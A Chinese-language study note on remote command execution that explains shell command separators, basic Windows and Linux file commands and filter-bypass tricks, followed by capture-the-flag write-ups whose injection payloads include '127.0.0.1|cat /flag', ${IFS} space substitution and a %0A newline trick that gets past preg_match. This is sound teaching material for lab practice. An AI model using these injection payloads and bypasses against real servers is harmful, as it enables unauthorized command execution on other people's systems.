RCE学习(一)

一.知识点

RCE:远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval

简单来说就是:可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统

一)常见的连接符

1.拼接命令

分号;:多个命令无论对错 顺序执行

eg         A ; B     先执行A,再执行B

&:作用和分号一样,但是在使用的时候要把&进行URL编码为%26才能正常执行

eg        A & B    简单的拼接

&&:前面命令执行不成功后面命令无法执行

eg        A&&B    A执行成功之后才会执行B

管道输出符|:前面命令的输出作为后面命令的输入,把前面命令的结果作为后面命令的参数;前面后面的命令都执行,但是只显示后面的命令执行结果。

A | B      显示B的执行结果

||:前面的命令执行成功,则后面的命令不会执行;前面的命令执行失败,则后面的命令执行(类似if-else语句)

eg         A || B     A执行失败之后才会执行B

###       在特殊情况下可代替空格

二)常见的命令

(1)、Windows

1.type  显示文本文件内容

type x:\1.txt                      //显示x盘下的1.txt文件内容

type x:\1.txt | more            //分页显示x盘里1.txt的内容

more 1.txt                         //逐屏显示当目下1.txt的文本内容(空格:下一屏 q:退出)

2.dir  显示目录里的内容

dir                //显示当前目录里的子文件夹和文件

dir /b            //只显示当前目录子文件夹、文件的文件名

dir /p            //分页显示当前目录子文件夹、文件

dir /ad          //只显示当前目录中的文件夹

dir /a-d         //显示当目里的文件

dir x:/a         //显示x盘下a文件夹中的内容

dir 1.txt        //显示当目下1.txt的信息

dir /s            //递归显示当目中的内容   ctrl c终止当前命令

dir a*           //显示当目下a开头的文件、文件夹信息

dir /ah /os    //显示当目下隐藏的文件和目录,按文件大小从小到大排序

(2)Linux

1、ls:列出目录

2、pwd:显示当前所在的目录

3、cat:由第一行开始查看文件

4、tac:由最后一行到第一行查看

5、more:逐项查看文件,按空格继续,最后自己退出

6、less:逐行查看文件,按方向键,不可主动退出,按q退出

7、head:只查看文件前十行

8、tail:只查看文件后十行

三)替换符

%0a 换行符

%0d 回车符

$*   在shell命令执行下为空

${IFS} 表示空格

  • 一般做题步骤

分三步执行:

1、ping

2、进入flag_is_here文件夹

3、列举flag_is_here文件夹下的文件

五)空格绕过

关于preg_match函数

利用 preg_match(),我们可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。还有一个可选的第三参数可以让你把匹配的部分存在一个数组中。在验证数据时这个功能可以变得非常有用。

函数形式

preg_match(string $pattern, string $subject, array &$matches);

pattern

要搜索的模式串,字符串类型
sbuject

输入的字符串,字符串类型
matches

可选,用来存放搜索结果,$matches[0]存放所有匹配的字符串,$matches[1]用来存放第一个匹配的字符串,$matches[2]用来存放第三个匹配的字符串,以此类推
 

二.实训

1.[ACTF2020 新生赛]Exec

先用127.0.0.1ping一下 正常显示 查看根目录 没发现flag 继续访问上一级目录 发现flag

127.0.0.1|ls

输入127.0.0.1|ls.. /

输入127.0.0.1|cat /flag

2.[GXYCTF2019]Ping Ping Ping

先用127.0.0.1ping一下 正常回显 查看当前目录 发现了flag 之后发现符号被禁止了 使用替换符 再次查看flag 发现又被禁了 所以我们先查看根目录即可看到什么语句符号被禁 之后便可以据此修改抓取flag 即可得到。

3.ctfhub综合练习

本题过滤许多,尝试逐步绕过

首先列举目录127.0.0.1%0als# 其次列举文件夹下的文件 看到了一些禁用的符号对命令进行修改逐个绕过

127.0.0.1%0Als${IFS}f’’lag_is_here

看到了flag所在 于是查看文件内容

127.0.0.1%0als${IFS}cdf’’lag_is_here%0atac${IFS}f’’lag_

最后查看源码 即可找到本题flag

4.[FBCTF2019]RCEService

打开网页,发现输入框,提示命令以json格式输入,先试试:

{"cmd": "ls"}

发现了回显根目录,输入其他命令发现进行了过滤,说明用到了preg_match函数。

因为preg_match函数只匹配第一行,所以可以利用换行符%0A来构造payload。

查看home目录:

/?cmd={%0A"cmd": "ls /home"%0A}

发现rceservice文件夹,查看rceservice文件夹:

/?cmd={%0A"cmd": "ls /home/rceservice"%0A}

发现flagjail两个文件,输出flag文件,输入url:

/?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}即可查看到flag

参考资料:https://blog.csdn.net/kongtaoxing/article/details/124201990

http://t.csdnimg.cn/MqASO

http://t.csdnimg.cn/qIJrS

http://t.csdnimg.cn/C9KT5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/587922.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Python-Socket编程实现tcp-udp通信

本文章是记录我准备大创项目时学的socket编程的用法,纯属记录生活,没有教学意义,视频我是看b站up主王铭东学的,讲的很详细,我只粗略学了个大概,我想要通过tcp,udp传输yolo目标检测中的物体坐标信…

java面试(微服务)

SpringCloud五大组件 Nacos:注册中心Ribbon:负载均衡Feign:远程调用sentinel:服务熔断Gateway:网关 注册中心 Eureka Nacos 负载均衡 Ribbon负载均衡流程 Ribbon的负载均衡策略 RoundRobinRule:简单的…

分类预测 | MATLAB实现LSSVM最小二乘支持向量机多分类预测

分类预测 | MATLAB实现LSSVM最小二乘支持向量机多分类预测 目录 分类预测 | MATLAB实现LSSVM最小二乘支持向量机多分类预测分类效果基本介绍程序设计参考资料分类效果 基本介绍 MATLAB实现LSSVM最小二乘支持向量机多分类预测。最小二乘支持向量机(Least Squares Support Vecto…

网络应用层之(6)L2TP协议详解

网络应用层之(6)L2TP协议 Author: Once Day Date: 2024年5月1日 一位热衷于Linux学习和开发的菜鸟,试图谱写一场冒险之旅,也许终点只是一场白日梦… 漫漫长路,有人对你微笑过嘛… 全系列文档可参考专栏:通信网络技术_Once-Day的…

python算法题

需求 代码 class Solution:def searchInsert(self, nums: List[int], target: int) -> int:if max(nums) >target:for i in range(len(nums)-1):if nums[i1] > target and nums[i] <target:return i1if max(nums) <target:return len(nums)if min(nums) > …

kubectl_入门_Pod控制器

Pod控制器 在k8s中&#xff0c;按照pod的创建方式可以将其分为两类 自主式pod&#xff1a;k8s直接创建出来的pod&#xff0c;这种pod删除后就没有了&#xff0c;也不会重建控制器创建的pod&#xff1a;通过控制器创建的pod&#xff0c;这种pod删除了之后还会自动重建 1. 什么…

【docker 】 push 镜像提示:denied: requested access to the resource is denied

往 Docker Registry &#xff08;私服&#xff09;push 镜像提示&#xff1a;denied: requested access to the resource is denied 镜像push 语法&#xff1a;docker push <registry-host>:<registry-port>/<repository>:<tag> docker push 192.16…

C语言 | Leetcode C语言题解之第61题旋转链表

题目&#xff1a; 题解&#xff1a; struct ListNode* rotateRight(struct ListNode* head, int k) {if (k 0 || head NULL || head->next NULL) {return head;}int n 1;struct ListNode* iter head;while (iter->next ! NULL) {iter iter->next;n;}int add n…

第12章 软件测试基础(第一部分)概念、质量保证、测试用例、测试执行过程

一、软件测试 &#xff08;一&#xff09;定义 动态验证计算机程序对有限的测试用例集是否可产生期望的结果的过程。测试计划是描述了要进行的测试活动的范围、方法、资源和进度的文档。编写测试计划目的&#xff1a;使测试工作顺利进行、使项目参与人员沟通更舒畅、使测试工…

操作系统:线程

目录 前言&#xff1a; 1.线程 1.1.初识线程 1.2.“轻量化”进程 1.3.线程与进程 2.线程控制 2.1.pthread原生线程库 2.2.线程控制的接口 2.2.1.线程创建 2.2.线程退出|线程等待|线程分离|线程取消 2.3.pthread库的原理 2.4.语言和pthread库的关系 2.5.线程局部…

redis核心数据结构——跳表项目设计与实现(跳表结构介绍,节点类设计,随机层级函数)

跳表结构介绍。跳表是redis等知名软件的核心数据结构&#xff0c;其实现的前提是有序链表&#xff0c;思想的本质是在原有一串存储数据的链表中&#xff0c;间隔地抽出一半元素作为上一级链表&#xff0c;并将抽提出的元素和原先的位置相关联&#xff0c;这样重复下去直到最上层…

Android AOSP探索之Ubantu下Toolbox的安装

文章目录 概述安装Toolbox解决运行的问题 概述 由于最近需要进军android的framework,所以需要工具的支持&#xff0c;之前听说江湖上都流传source insight,我去弄了一个破解版&#xff0c;功能确实强大&#xff0c;但是作为多年android开发的我习惯使用android studio。虽然使…

数据分析及AI技术在旅游行业的应用

引言 旅游行业是一个充满潜力和机遇的领域&#xff0c;而数据分析和人工智能&#xff08;AI&#xff09;技术的迅猛发展为这个行业带来了前所未有的机遇和挑战。本文将探讨数据分析及AI技术在旅游行业中的具体应用及其带来的影响。 数据分析在旅游行业的4种应用 在旅游行业…

【开源设计】京东慢SQL组件:sql-analysis

京东慢SQL组件&#xff1a;sql-analysis 一、背景二、源码简析三、总结 地址&#xff1a;https://github.com/jd-opensource/sql-analysis 一、背景 开发中&#xff0c;无疑会遇到慢SQL问题&#xff0c;而常见的处理思路都是等上线&#xff0c;然后由监控报警之后再去定位对应…

附录3-小程序常用事件

目录 1 点击事件 tap 2 文本框输入事件 input 3 状态改变事件 change 4 下拉刷新事件 onPullDownRefresh() 5 上拉触底事件 onReachBottom() 1 点击事件 tap 2 文本框输入事件 input 可以使用 e.detail.value 打印出当前文本框的值 我现在在文本框中依次输入12345&…

APScheduler定时器使用:django中使用apscheduler,使用mysql做存储后端

一、基本环境 python版本&#xff1a;3.8.5 APScheduler3.10.4 Django3.2.7 djangorestframework3.15.1 SQLAlchemy2.0.29 PyMySQL1.1.0二、django基本设置 2.1、新增一个app 该app用来写apscheduler相关的代码 python manage.py startapp gs_scheduler 2.2、修改配置文件s…

Typora+PicGo+阿里云OSS搭建个人博客图床(2024最新详细搭建教程)

创作者&#xff1a;Code_流苏(CSDN) 目录 一、什么是图床&#xff1f;二、准备工作三、配置PicGo四、配置Typora五、使用 很高兴你打开了这篇博客&#xff0c;如有疑问&#xff0c;欢迎评论。 更多好用的软件工具&#xff0c;请关注我&#xff0c;订阅专栏《实用软件与高效工具…

基于肤色模型的人脸识别FPGA实现,包含tb测试文件和MATLAB辅助验证

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 matlab2022a的测试结果如下&#xff1a; vivado2019.2的仿真结果如下&#xff1a; 将数据导入到matlab中&#xff0c; 系统的RTL结构图如下图所示…

安装“STM32F4 Discovery Board Programming with Embedded Coder”MATLAB获取硬件支持包失败

安装“STM32F4 Discovery Board Programming with Embedded Coder”MATLAB获取硬件支持包失败 -完美解决方法 显示请续订您的软件维护服务&#xff0c;解决办法 根据知乎的文章 MATLAB获取硬件支持包失败&#xff0c;显示请续订您的软件维护服务&#xff0c;解决办法&#xff…

为家庭公网IP配置DDNS域名

文章目录 域名配置域名更新frp配置修改 在成功完成frp改造Windows笔记本实现家庭版免费内网穿透之后&#xff0c;某天我突然发现内网穿透失效了&#xff0c;一番排查之后原来是路由器对应的公网IP更换了。果然我分到的并不是固定的公网IP&#xff0c;而是会定期变化的。为了免受…